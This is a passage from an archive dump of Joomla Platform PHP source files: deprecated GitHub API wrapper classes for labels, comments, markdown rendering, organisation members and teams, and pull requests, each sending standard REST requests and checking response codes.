* Method to create a label on a repo.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $name The label name.
* @param string $color The label color.
*
* @deprecated use issues->labels->create()
*
* @return object
*
* @since 3.1.4
*/
public function createLabel($user, $repo, $name, $color)
{
return $this->labels->create($user, $repo, $name, $color);
}
/**
* Method to delete a comment on an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The id of the comment to delete.
*
* @deprecated use issues->comments->delete()
*
* @return void
*
* @since 1.7.3
*/
public function deleteComment($user, $repo, $commentId)
{
$this->comments->delete($user, $repo, $commentId);
}
/**
* Method to delete a label on a repo.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $label The label name.
*
* @deprecated use issues->labels->delete()
*
* @return object
*
* @since 3.1.4
*/
public function deleteLabel($user, $repo, $label)
{
return $this->labels->delete($user, $repo, $label);
}
/**
* Method to update a comment on an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The id of the comment to update.
* @param string $body The new body text for the comment.
*
* @deprecated use issues->comments->edit()
*
* @return object
*
* @since 1.7.3
*/
public function editComment($user, $repo, $commentId, $body)
{
return $this->comments->edit($user, $repo, $commentId, $body);
}
/**
* Method to update a label on a repo.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $label The label name.
* @param string $name The label name.
* @param string $color The label color.
*
* @deprecated use issues->labels->update()
*
* @return object
*
* @since 3.1.4
*/
public function editLabel($user, $repo, $label, $name, $color)
{
return $this->labels->update($user, $repo, $label, $name, $color);
}
/**
* Method to get a specific comment on an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The comment id to get.
*
* @deprecated use issues->comments->get()
*
* @return object
*
* @since 1.7.3
*/
public function getComment($user, $repo, $commentId)
{
return $this->comments->get($user, $repo, $commentId);
}
/**
* Method to get the list of comments on an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $issueId The issue number.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @deprecated use issues->comments->getList()
*
* @return array
*
* @since 1.7.3
*/
public function getComments($user, $repo, $issueId, $page = 0, $limit = 0)
{
return $this->comments->getList($user, $repo, $issueId, $page,
$limit);
}
/**
* Method to get a specific label on a repo.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $name The label name to get.
*
* @deprecated use issues->labels->get()
*
* @return object
*
* @since 3.1.4
*/
public function getLabel($user, $repo, $name)
{
return $this->labels->get($user, $repo, $name);
}
/**
* Method to get the list of labels on a repo.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
*
* @deprecated use issues->labels->getList()
*
* @return array
*
* @since 3.1.4
*/
public function getLabels($user, $repo)
{
return $this->labels->getList($user, $repo);
}
}
github/package/markdown.php000064400000003652151171674100011765
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2012 - 2016 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Markdown class.
*
* @documentation https://developer.github.com/v3/markdown
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageMarkdown extends JGithubPackage
{
/**
* Method to render a markdown document.
*
* @param string $text The text object being parsed.
* @param string $mode The parsing mode; valid options are
'markdown' or 'gfm'.
* @param string $context An optional repository context, only used in
'gfm' mode.
*
* @since 3.3 (CMS)
* @throws DomainException
* @throws InvalidArgumentException
*
* @return string Formatted HTML
*/
public function render($text, $mode = 'gfm', $context = null)
{
// The valid modes
$validModes = array('gfm', 'markdown');
// Make sure the scope is valid
if (!in_array($mode, $validModes))
{
throw new InvalidArgumentException(sprintf('The %s mode is not
valid. Valid modes are "gfm" or "markdown".',
$mode));
}
// Build the request path.
$path = '/markdown';
// Build the request data.
$data = str_replace('\\/', '/', json_encode(
array(
'text' => $text,
'mode' => $mode,
'context' => $context,
)
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
$message = (isset($error->message)) ? $error->message :
'Error: ' . $response->code;
throw new DomainException($message, $response->code);
}
return $response->body;
}
}
github/package/orgs/members.php000064400000012405151171674100012543
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Orgs Members class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/orgs/members/
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageOrgsMembers extends JGithubPackage
{
/**
* Members list.
*
* List all users who are members of an organization.
* A member is a user that belongs to at least 1 team in the organization.
* If the authenticated user is also a member of this organization then
* both concealed and public members will be returned.
* If the requester is not a member of the organization the query will be
* redirected to the public members list.
*
* @param string $org The name of the organization.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return boolean|mixed
*/
public function getList($org)
{
// Build the request path.
$path = '/orgs/' . $org . '/members';
$response = $this->client->get($this->fetchUrl($path));
switch ($response->code)
{
case 302 :
// Requester is not an organization member.
return false;
break;
case 200 :
return json_decode($response->body);
break;
default :
throw new UnexpectedValueException('Unexpected response code:
' . $response->code);
break;
}
}
/**
* Check membership.
*
* Check if a user is, publicly or privately, a member of the
organization.
*
* @param string $org The name of the organization.
* @param string $user The name of the user.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return boolean
*/
public function check($org, $user)
{
// Build the request path.
$path = '/orgs/' . $org . '/members/' . $user;
$response = $this->client->get($this->fetchUrl($path));
switch ($response->code)
{
case 204 :
// Requester is an organization member and user is a member.
return true;
break;
case 404 :
// Requester is an organization member and user is not a member.
// Requester is not an organization member and is inquiring about
themselves.
return false;
break;
case 302 :
// Requester is not an organization member.
return false;
break;
default :
throw new UnexpectedValueException('Unexpected response code:
' . $response->code);
break;
}
}
/**
* Add a member.
*
* To add someone as a member to an org, you must add them to a team.
*/
/**
* Remove a member.
*
* Removing a user from this list will remove them from all teams and they
will no longer have
* any access to the organization’s repositories.
*
* @param string $org The name of the organization.
* @param string $user The name of the user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function remove($org, $user)
{
// Build the request path.
$path = '/orgs/' . $org . '/members/' . $user;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* Public members list.
*
* Members of an organization can choose to have their membership
publicized or not.
*
* @param string $org The name of the organization.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getListPublic($org)
{
// Build the request path.
$path = '/orgs/' . $org . '/public_members';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Check public membership.
*
* @param string $org The name of the organization.
* @param string $user The name of the user.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return object
*/
public function checkPublic($org, $user)
{
// Build the request path.
$path = '/orgs/' . $org . '/public_members/' . $user;
$response = $this->client->get($this->fetchUrl($path));
switch ($response->code)
{
case 204 :
// Response if user is a public member.
return true;
break;
case 404 :
// Response if user is not a public member.
return false;
break;
default :
throw new UnexpectedValueException('Unexpected response code:
' . $response->code);
break;
}
}
/**
* Publicize a user’s membership.
*
* @param string $org The name of the organization.
* @param string $user The name of the user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function publicize($org, $user)
{
// Build the request path.
$path = '/orgs/' . $org . '/public_members/' . $user;
return $this->processResponse(
$this->client->put($this->fetchUrl($path), ''),
204
);
}
/**
* Conceal a user’s membership.
*
* @param string $org The name of the organization.
* @param string $user The name of the user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function conceal($org, $user)
{
// Build the request path.
$path = '/orgs/' . $org . '/public_members/' . $user;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
github/package/orgs/teams.php000064400000022624151171674100012226
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Orgs Teams class for the Joomla Platform.
*
* All actions against teams require at a minimum an authenticated user who
is a member
* of the owner’s team in the :org being managed. Additionally, OAuth
users require “user” scope.
*
* @documentation https://developer.github.com/v3/orgs/teams/
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageOrgsTeams extends JGithubPackage
{
/**
* List teams.
*
* @param string $org The name of the organization.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getList($org)
{
// Build the request path.
$path = '/orgs/' . $org . '/teams';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get team.
*
* @param integer $id The team id.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function get($id)
{
// Build the request path.
$path = '/teams/' . (int) $id;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Create team.
*
* In order to create a team, the authenticated user must be an owner of
the organization.
*
* @param string $org The name of the organization.
* @param string $name The name of the team.
* @param array $repoNames Repository names.
* @param string $permission The permission.
* pull - team members can pull, but not
push to or administer these repositories. Default
* push - team members can pull and push,
but not administer these repositories.
* admin - team members can pull, push and
administer these repositories.
*
* @throws UnexpectedValueException
*
* @since 3.3 (CMS)
*
* @return object
*/
public function create($org, $name, array $repoNames = array(),
$permission = '')
{
// Build the request path.
$path = '/orgs/' . $org . '/teams';
$data = array(
'name' => $name,
);
if ($repoNames)
{
$data['repo_names'] = $repoNames;
}
if ($permission)
{
if (false == in_array($permission, array('pull',
'push', 'admin')))
{
throw new UnexpectedValueException('Permissions must be either
"pull", "push", or "admin".');
}
$data['permission'] = $permission;
}
return $this->processResponse(
$this->client->post($this->fetchUrl($path), $data),
201
);
}
/**
* Edit team.
*
* In order to edit a team, the authenticated user must be an owner of the
org that the team is associated with.
*
* @param integer $id The team id.
* @param string $name The name of the team.
* @param string $permission The permission.
* pull - team members can pull, but not
push to or administer these repositories. Default
* push - team members can pull and push,
but not administer these repositories.
* admin - team members can pull, push and
administer these repositories.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return object
*/
public function edit($id, $name, $permission = '')
{
// Build the request path.
$path = '/teams/' . (int) $id;
$data = array(
'name' => $name,
);
if ($permission)
{
if (false == in_array($permission, array('pull',
'push', 'admin')))
{
throw new UnexpectedValueException('Permissions must be either
"pull", "push", or "admin".');
}
$data['permission'] = $permission;
}
return $this->processResponse(
$this->client->patch($this->fetchUrl($path), $data)
);
}
/**
* Delete team.
*
* In order to delete a team, the authenticated user must be an owner of
the org that the team is associated with.
*
* @param integer $id The team id.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function delete($id)
{
// Build the request path.
$path = '/teams/' . $id;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* List team members.
*
* In order to list members in a team, the authenticated user must be a
member of the team.
*
* @param integer $id The team id.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getListMembers($id)
{
// Build the request path.
$path = '/teams/' . $id . '/members';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get team member.
*
* In order to get if a user is a member of a team, the authenticated user
must be a member of the team.
*
* @param integer $id The team id.
* @param string $user The name of the user.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return object
*/
public function isMember($id, $user)
{
// Build the request path.
$path = '/teams/' . $id . '/members/' . $user;
$response = $this->client->get($this->fetchUrl($path));
switch ($response->code)
{
case 204 :
// Response if user is a member
return true;
break;
case 404 :
// Response if user is not a member
return false;
break;
default :
throw new UnexpectedValueException('Unexpected response code:
' . $response->code);
break;
}
}
/**
* Add team member.
*
* In order to add a user to a team, the authenticated user must have
‘admin’ permissions
* to the team or be an owner of the org that the team is associated with.
*
* @param integer $id The team id.
* @param string $user The name of the user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function addMember($id, $user)
{
// Build the request path.
$path = '/teams/' . $id . '/members/' . $user;
return $this->processResponse(
$this->client->put($this->fetchUrl($path), ''),
204
);
}
/**
* Remove team member.
*
* In order to remove a user from a team, the authenticated user must have
‘admin’ permissions
* to the team or be an owner of the org that the team is associated with.
* NOTE: This does not delete the user, it just remove them from the team.
*
* @param integer $id The team id.
* @param string $user The name of the user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function removeMember($id, $user)
{
// Build the request path.
$path = '/teams/' . $id . '/members/' . $user;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* List team repos.
*
* @param integer $id The team id.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getListRepos($id)
{
// Build the request path.
$path = '/teams/' . $id . '/repos';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Check if the repo is managed by this team.
*
* @param integer $id The team id.
* @param string $repo The name of the GitHub repository.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return object
*/
public function checkRepo($id, $repo)
{
// Build the request path.
$path = '/teams/' . $id . '/repos/' . $repo;
$response = $this->client->get($this->fetchUrl($path));
switch ($response->code)
{
case 204 :
// Response if repo is managed by this team.
return true;
break;
case 404 :
// Response if repo is not managed by this team.
return false;
break;
default :
throw new UnexpectedValueException('Unexpected response code:
' . $response->code);
break;
}
}
/**
* Add team repo.
*
* In order to add a repo to a team, the authenticated user must be an
owner of the
* org that the team is associated with. Also, the repo must be owned by
the organization,
* or a direct form of a repo owned by the organization.
*
* If you attempt to add a repo to a team that is not owned by the
organization, you get:
* Status: 422 Unprocessable Entity
*
* @param integer $id The team id.
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function addRepo($id, $owner, $repo)
{
// Build the request path.
$path = '/teams/' . $id . '/repos/' . $owner .
'/' . $repo;
return $this->processResponse(
$this->client->put($this->fetchUrl($path), ''),
204
);
}
/**
* Remove team repo.
*
* In order to remove a repo from a team, the authenticated user must be
an owner
* of the org that the team is associated with. NOTE: This does not delete
the
* repo, it just removes it from the team.
*
* @param integer $id The team id.
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function removeRepo($id, $owner, $repo)
{
// Build the request path.
$path = '/teams/' . (int) $id . '/repos/' . $owner .
'/' . $repo;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
github/package/orgs.php000064400000005120151171674100011105
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Activity class for the Joomla Platform.
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*
* @documentation https://developer.github.com/v3/orgs/
*
* @property-read JGithubPackageOrgsMembers $members GitHub API object
for members.
* @property-read JGithubPackageOrgsTeams $teams GitHub API object
for teams.
*/
class JGithubPackageOrgs extends JGithubPackage
{
protected $name = 'Orgs';
protected $packages = array('members', 'teams');
/**
* List User Organizations.
*
* If a user name is given, public and private organizations for the
authenticated user will be listed.
*
* @param string $user The user name.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getList($user = '')
{
// Build the request path.
$path = ($user)
? '/users/' . $user . '/orgs'
: '/user/orgs';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get an Organization.
*
* @param string $org The organization name.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function get($org)
{
// Build the request path.
$path = '/orgs/' . $org;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Edit an Organization.
*
* @param string $org The organization name.
* @param string $billingEmail Billing email address. This address is
not publicized.
* @param string $company The company name.
* @param string $email The email address.
* @param string $location The location name.
* @param string $name The name.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function edit($org, $billingEmail = '', $company =
'', $email = '', $location = '', $name =
'')
{
// Build the request path.
$path = '/orgs/' . $org;
$args = array('billing_email', 'company',
'email', 'location', 'name');
$data = array();
$fArgs = func_get_args();
foreach ($args as $i => $arg)
{
if (array_key_exists($i + 1, $fArgs) && $fArgs[$i + 1])
{
$data[$arg] = $fArgs[$i + 1];
}
}
// Send the request.
return $this->processResponse(
$this->client->patch($this->fetchUrl($path), $data)
);
}
}
github/package/pulls/comments.php000064400000012615151171674100013126
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Pulls Comments class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/pulls/comments/
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackagePullsComments extends JGithubPackage
{
/**
* Method to create a comment on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param string $body The comment body text.
* @param string $commitId The SHA1 hash of the commit to comment on.
* @param string $filePath The Relative path of the file to comment
on.
* @param string $position The line index in the diff to comment on.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function create($user, $repo, $pullId, $body, $commitId, $filePath,
$position)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/' . (int) $pullId . '/comments';
// Build the request data.
$data = json_encode(
array(
'body' => $body,
'commit_id' => $commitId,
'path' => $filePath,
'position' => $position,
)
);
// Send the request.
return $this->processResponse(
$this->client->post($this->fetchUrl($path), $data),
201
);
}
/**
* Method to create a comment in reply to another comment.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param string $body The comment body text.
* @param integer $inReplyTo The id of the comment to reply to.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function createReply($user, $repo, $pullId, $body, $inReplyTo)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/' . (int) $pullId . '/comments';
// Build the request data.
$data = json_encode(
array(
'body' => $body,
'in_reply_to' => (int) $inReplyTo,
)
);
// Send the request.
return $this->processResponse(
$this->client->post($this->fetchUrl($path), $data),
201
);
}
/**
* Method to delete a comment on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The id of the comment to delete.
*
* @throws DomainException
* @since 1.7.3
*
* @return void
*/
public function delete($user, $repo, $commentId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/comments/' . (int) $commentId;
// Send the request.
$this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* Method to update a comment on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The id of the comment to update.
* @param string $body The new body text for the comment.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function edit($user, $repo, $commentId, $body)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/comments/' . (int) $commentId;
// Build the request data.
$data = json_encode(
array(
'body' => $body,
)
);
// Send the request.
return $this->processResponse(
$this->client->patch($this->fetchUrl($path), $data)
);
}
/**
* Method to get a specific comment on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The comment id to get.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function get($user, $repo, $commentId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/comments/' . (int) $commentId;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Method to get the list of comments on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getList($user, $repo, $pullId, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/' . (int) $pullId . '/comments';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path, $page, $limit))
);
}
}
github/package/pulls.php000064400000035506151171674100011305
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Pull Requests class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/pulls
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*
* @property-read JGithubPackagePullsComments $comments GitHub API
object for comments.
*/
class JGithubPackagePulls extends JGithubPackage
{
protected $name = 'Pulls';
protected $packages = array(
'comments',
);
/**
* Method to create a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $title The title of the new pull request.
* @param string $base The branch (or git ref) you want your changes
pulled into. This
* should be an existing branch on the current
repository. You cannot
* submit a pull request to one repo that
requests a merge to a base
* of another repo.
* @param string $head The branch (or git ref) where your changes are
implemented.
* @param string $body The body text for the new pull request.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function create($user, $repo, $title, $base, $head, $body =
'')
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls';
// Build the request data.
$data = json_encode(
array(
'title' => $title,
'base' => $base,
'head' => $head,
'body' => $body,
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to create a pull request from an existing issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $issueId The issue number for which to attach the
new pull request.
* @param string $base The branch (or git ref) you want your
changes pulled into. This
* should be an existing branch on the current
repository. You cannot
* submit a pull request to one repo that
requests a merge to a base
* of another repo.
* @param string $head The branch (or git ref) where your changes
are implemented.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function createFromIssue($user, $repo, $issueId, $base, $head)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls';
// Build the request data.
$data = json_encode(
array(
'issue' => (int) $issueId,
'base' => $base,
'head' => $head,
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to update a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param string $title The optional new title for the pull request.
* @param string $body The optional new body text for the pull
request.
* @param string $state The optional new state for the pull request.
[open, closed]
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function edit($user, $repo, $pullId, $title = null, $body = null,
$state = null)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/' . (int) $pullId;
// Create the data object.
$data = new stdClass;
// If a title is set add it to the data object.
if (isset($title))
{
$data->title = $title;
}
// If a body is set add it to the data object.
if (isset($body))
{
$data->body = $body;
}
// If a state is set add it to the data object.
if (isset($state))
{
$data->state = $state;
}
// Encode the request data.
$data = json_encode($data);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a single pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function get($user, $repo, $pullId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/' . (int) $pullId;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a list of commits for a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getCommits($user, $repo, $pullId, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/' . (int) $pullId . '/commits';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a list of files for a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getFiles($user, $repo, $pullId, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/' . (int) $pullId . '/files';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list pull requests.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $state The optional state to filter requests by.
[open, closed]
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getList($user, $repo, $state = 'open', $page =
0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls';
// If a state exists append it as an option.
if ($state != 'open')
{
$path .= '?state=' . $state;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to check if a pull request has been merged.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number. The pull request
number.
*
* @throws DomainException
* @since 1.7.3
*
* @return boolean True if the pull request has been merged.
*/
public function isMerged($user, $repo, $pullId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/' . (int) $pullId . '/merge';
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code == 204)
{
return true;
}
elseif ($response->code == 404)
{
return false;
}
else
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
}
/**
* Method to merge a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param string $message The message that will be used for the merge
commit.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function merge($user, $repo, $pullId, $message = '')
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/' . (int) $pullId . '/merge';
// Build the request data.
$data = json_encode(
array(
'commit_message' => $message,
)
);
// Send the request.
$response = $this->client->put($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/*
* Legacy methods
*/
/**
* Method to create a comment on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param string $body The comment body text.
* @param string $commitId The SHA1 hash of the commit to comment on.
* @param string $filePath The Relative path of the file to comment
on.
* @param string $position The line index in the diff to comment on.
*
* @deprecated use pulls->comments->create()
*
* @return object
*
* @since 1.7.3
*/
public function createComment($user, $repo, $pullId, $body, $commitId,
$filePath, $position)
{
return $this->comments->create($user, $repo, $pullId, $body,
$commitId, $filePath, $position);
}
/**
* Method to create a comment in reply to another comment.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param string $body The comment body text.
* @param integer $inReplyTo The id of the comment to reply to.
*
* @deprecated use pulls->comments->createReply()
*
* @return object
*
* @since 1.7.3
*/
public function createCommentReply($user, $repo, $pullId, $body,
$inReplyTo)
{
return $this->comments->createReply($user, $repo, $pullId, $body,
$inReplyTo);
}
/**
* Method to delete a comment on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The id of the comment to delete.
*
* @deprecated use pulls->comments->delete()
*
* @return void
*
